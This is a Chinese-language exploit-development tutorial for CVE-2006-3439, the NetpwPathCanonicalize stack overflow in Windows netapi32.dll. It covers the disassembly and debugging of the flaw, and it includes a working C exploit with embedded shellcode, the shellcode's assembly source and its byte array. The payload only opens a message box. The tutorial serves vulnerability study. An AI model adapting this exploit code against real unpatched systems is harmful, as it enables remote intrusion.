CVE-2006-3439漏洞原理分析

透過IDA Pro載入netapi32.dll動態連結庫，來進行分析CVE-2006-3439漏洞產生的原理。

 

 透過IDA全域性搜尋函式功能，直接搜尋存在問題的NetpwPathCanonicalize函式，雙擊進行跳轉到NetpwPathCanonicalize函式位置。

 

 透過動態分析可以知道漏洞點發生在下圖中CALL中。

 

 看到在開始sub esp,414h進行開闢棧空間，它是用來儲存拼接後的字串。mov ebx，411h進行邊界檢查，檢視資料是否溢位。漏洞產生原因主要處在wcslen上，wcslen主要是對字元進行計算，類似於strlen函式，區別在於wcslen計算的是WCHAR型別，在棧空間中內容都是以位元組作為計算，用的是ASCII編碼，而wcslen使用的是Unicode編碼，用的是兩個位元組，就是同樣長度的字串會少算了一半。前面他檢查分411h但是我們可以傳入822h位元組，這個是十六進位制的。

看到cmp ax，5ch他就是動態分析時候進行拼接/。call edi計算path路徑的Unicode長度，結果儲存到了eax當中，下邊add eax，esi是把兩個字串拼接後大小存到eax當中，第二次邊界檢查依然是透過0x411進行檢查，但是它存在問題。上邊prefix不能利用是因為他在外邊進行了二次檢查，而path是可以利用的，因為沒有對他進行檢查，以此可以知道path是可以傳超長字串，最長可達411h的二倍。因為這裡檢查的還是Unicode編碼而不是ASCII編碼。執行下邊函式他會把path拼接到prefix後面，長度已超過開闢的414h長度，所以造成溢位可以進行利用。

 

CVE-2006-3439漏洞動態分析

 CVE-2006-3439漏洞有補丁號為KB921883，如果計算機沒有打此補丁，此漏洞就可以利用。

#include
typedef void (*MYPROC)(LPTSTR);
int main()
{  
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;
    //load vulnerability netapi32.dll which we got from a WIN2K sp4 host 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,'a',sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'b',sizeof(prefix)-2);
    //__asm int 3
    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);
}

 此漏洞出現在netapi32.dll動態連結庫中，是NetpwPathCanonicalize函式出現了問題，該函式本身是一個網路路徑字串格式化的函式，Unicode編碼字串處理功能。(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);首先會先看prefix 引數是不是buffer，如果這個buffer不是空的，那麼就把prefix 裡面的內容和path路徑裡的內容透過一個反斜槓連線起來，連線起來會把他們放到can_path裡面。如果prefix 和path越界了或不夠大就有可能直接退出。netapi32.dll動態連結庫是微軟的一個系統庫，可以進行遠端利用。透過memset對path和prefix進行了初始化，首先初始化成了0在對兩個buffer分別用a和b進行覆蓋。因為netapi32.dll動態連結庫中NetpwPathCanonicalize函式存在問題，所以透過使用GetProcAddress方式拿到他的地址。

 執行程式碼他會直接崩掉，可以看到Offset: 61616161是他的溢位地址，正常溢位不會出現這種地址，61是ASCII中a的編碼，所以說返回地址被其中一個buffer給覆蓋掉了。

 

接下來進行動態分析，首先開啟生成的Release可執行檔案中把NETAPI32.DLL放進去，因為程式碼中呼叫NETAPI32.DL是以相對路徑呼叫的。

 

 剛進來他是處在系統模組中，直接F9進入到我們程式當中。

 

看到0040119F地址call ms_06_040.401000就是分析程式的主函式。主函式有三個引數，透過特徵可以看他呼叫call之前進行了三次push，他使用的呼叫約定是stdcall，stdcall引數從右至左的順序壓引數入棧。stdcall和cdecl呼叫約定都是從右至左的順序壓引數入棧，區別在於stdcall需要透過add進行手動平棧而cdecl由系統平棧。

 

此漏洞問題出現在call edx當中。call edx是一個經典的函式指標，因為在編譯的時候edx地址還不確定，它是後覆蓋進去的。

 

直接F8或F9往下走，可以看到它的EBP和EIP都是61616161，說明EBP和EIP都被其中一個buffer給覆蓋了

因為他call edx，在暫存器中可以看到edx他其實就是有漏洞的API函式。

 

 

直接把edx的地址取出來，ctrl+G跳到NetpwPathCanonicalize裡去。

第一次分析的話就要一步一步往下走，看他在哪一個call下飛了，然後就進去分析那個call，過程不做演示，此次直接定位到問題函式進行分析。

 

 

進入到netapi32.dll中發現sub esp,414，開闢了一塊很大的空間。mov edi,dword ptr ds:[<&wcslen>]計算了一下長度，其實就是做了一個驗證。

發現它存在&wcscpy和&wcscat，問題就出現在&wcscat上。wcscpy作用是複製字串到棧裡面去。

 

 

首先call dword ptr ds:[<&wcscpy>]進行了call，可以看到他的引數是從eax來的，而eax值是從[ebp-414]來的，我們直接跳到ebp-414。

 

 透過右鍵->在記憶體視窗中轉到->轉到ebp-414位置。

可以看到記憶體中一大片62，最後有兩個00，這個00是初始化時候故意留的兩個，進行了-2操作，有了0000結尾他就是Unicode編碼字串結尾了。

單步程式到7517FCCC位置他還沒有出現問題。

 

 在執行一步發現0000沒有了，其中一個00被5C覆蓋了，所以這個就是拼接進去一個/，因為這個拼接進去/，導致00被覆蓋，以此這個字串沒有了結尾。

 

 在此wcscat下邊還存有一個wcscat，直接跳轉過去。

 

 透過觀察記憶體視窗結尾，目前還是5C00,執行完第二個wcscat他會發生改變。

可以看到wcscat把a拼接到了後面，而且他沒有了0000結束，這個字串是沒有斷開的，這麼複製過來後就出現了問題。這就是他溢位的一個基本原因。可以看到是61把path路徑串給覆蓋了。

 

 透過這個可以知道0012F6A8就是EBP，下邊0012F6AC就是返回地址，0012F294為buffer的起始地址。

 在ret結束位置下斷點跳轉過去，返回地址是0012F6AC，ECX是0012F294為buffer的起始地。所以就可以把prefix或跟path一部分空間直接設定成shellcode。

 

 利用immunity debugger工具mona,在命令列輸入!mona find -s "\xFF\xD1" -m netapi32.dll，此命令意思透過mona查詢指定指令call ECS和指定模組netapi32.dll。結果可以看到有很多地址，目前只記0x751852F9和0x7518AE6C兩個地址。

 

 計算返回地址到起始地址距離，返回地址0012F6AC-0012F294起始地址=0x418 - prefix的100位元組 = 0x318，所以就要在0x318的位置上把返回地址進行淹沒。

#include
typedef void (*MYPROC)(LPTSTR);

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6c\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main()
{  
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;
    //load vulnerability netapi32.dll which we got from a WIN2K sp4 host 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'b',sizeof(prefix)-2);
    memcpy(prefix,shellcode,168);
    //0x751852F9
    path[0x318] = 0xF9;
    path[0x319] = 0x52;
    path[0x31A] = 0x18;
    path[0x31B] = 0x75;
    //__asm int 3
    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);
}

 透過mona已經獲取到了兩個地址0x751852F9和0x7518AE6C，透過計算算出要覆蓋的地址0x318，以位元組形式進行賦值把0x751852F9以小端序方式賦給0x318開始到0x31B位置。目前初始化a已經沒有意義，進行全部初始化成0x90為not指令，插入一段shellcode透過memcpy(prefix,shellcode,168);命令，意思是把shellcode程式碼複製到prefix中一共是168個位元組。

 

 重新編譯完之後再次分析一下，跳到netapi32.dll返回地方可以看到，ESP地址為0x0012F6A8跳轉到堆疊，地址是剛才設定的，ECX地址為0x0012F290棧中指向0x0A6A68FC這個就是shellcode的地址。

 

 跳轉之後發現發進行call ecx，現在ecx地址就是shellcode的位置。

 

再次執行跳轉到shellcode位置進行了彈窗。

 

ShellCode編寫

void main()
{
    _asm{
       nop
       nop
       nop
       nop
       nop
       nop
       nop

       CLD
       push 0x1e380a6a
       push 0x4fd18963
       push 0x0c917432
       mov esi,esp
       lea edi,[esi-0xC]
      
       xor ebx,ebx
       mov bh,0x04
       sub esp,ebx

       mov bx,0x3233
       push ebx
       push 0x72657375
       push esp
       xor edx,edx

       mov ebx,fs:[edx + 0x30]
       mov ecx,[ebx + 0x0c]
       mov ecx,[ecx + 0x1c]
       mov ecx,[ecx]
       mov ebp,[ecx + 0x08]

find_lib_functions:
       lodsd
       cmp eax,0x1e380a6a
       jne find_functions
       xchg eax,ebp
       call [edi - 0x8]
       xchg eax,ebp

find_functions:
       pushad
       mov eax,[ebp + 0x3c]
       mov ecx,[ebp + eax + 0x78]
       add ecx,ebp
       mov ebx,[ecx + 0x20]
       add ebx,ebp
       xor edi,edi

next_function_loop:
       inc edi
       mov esi,[ebx + edi * 4]
       add esi,ebp
       cdq

hash_loop:
       movsx eax,byte ptr[esi]
       cmp al,ah
       jz compare_hash
       ror edx,7
       add edx,eax
       inc esi
       jmp hash_loop

compare_hash:
       cmp edx,[esp + 0x1c]
       jnz next_function_loop
       mov ebx,[ecx + 0x24]
       add ebx,ebp
       mov di,[ebx + 2 * edi]
       mov ebx,[ecx + 0x1c]
       add ebx,ebp
       add ebp,[ebx + 4 * edi]
       xchg eax,ebp
       pop edi
       stosd
       push edi
       popad

       cmp eax,0x1e380a6a
       jne find_lib_functions

function_call:
       xor ebx,ebx
       push ebx
       push 0x66666666
       push 0x66666666
       mov eax,esp
       push ebx
       push eax
       push eax
       push ebx
       call [edi - 0x04]
       push ebx
       call [edi - 0x08]
       nop
       nop
       nop
       nop
       nop
       nop
       nop
    }
}

 

 把上邊程式碼生成可執行檔案，透過dbg開啟找shellcode位置，下圖為shellcode地址。

進去看到上邊寫的shellcode進行復制，從cld到結尾帶一個not，選擇二進位制複製。

把複製出來的shellcode二進位制以十六進位制文字形成貼上到010Editor，再以C程式碼形式複製出來。

FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C 8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53 68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B 49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95 FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03 2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB 53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50 53 FF 57 FC 53 FF 57 F8 90

 

unsigned char shellcode[] = {
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66, 0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x90
};

 

CVE-2006-3439遠端利用

 

受害者

 

攻擊者

漏洞利用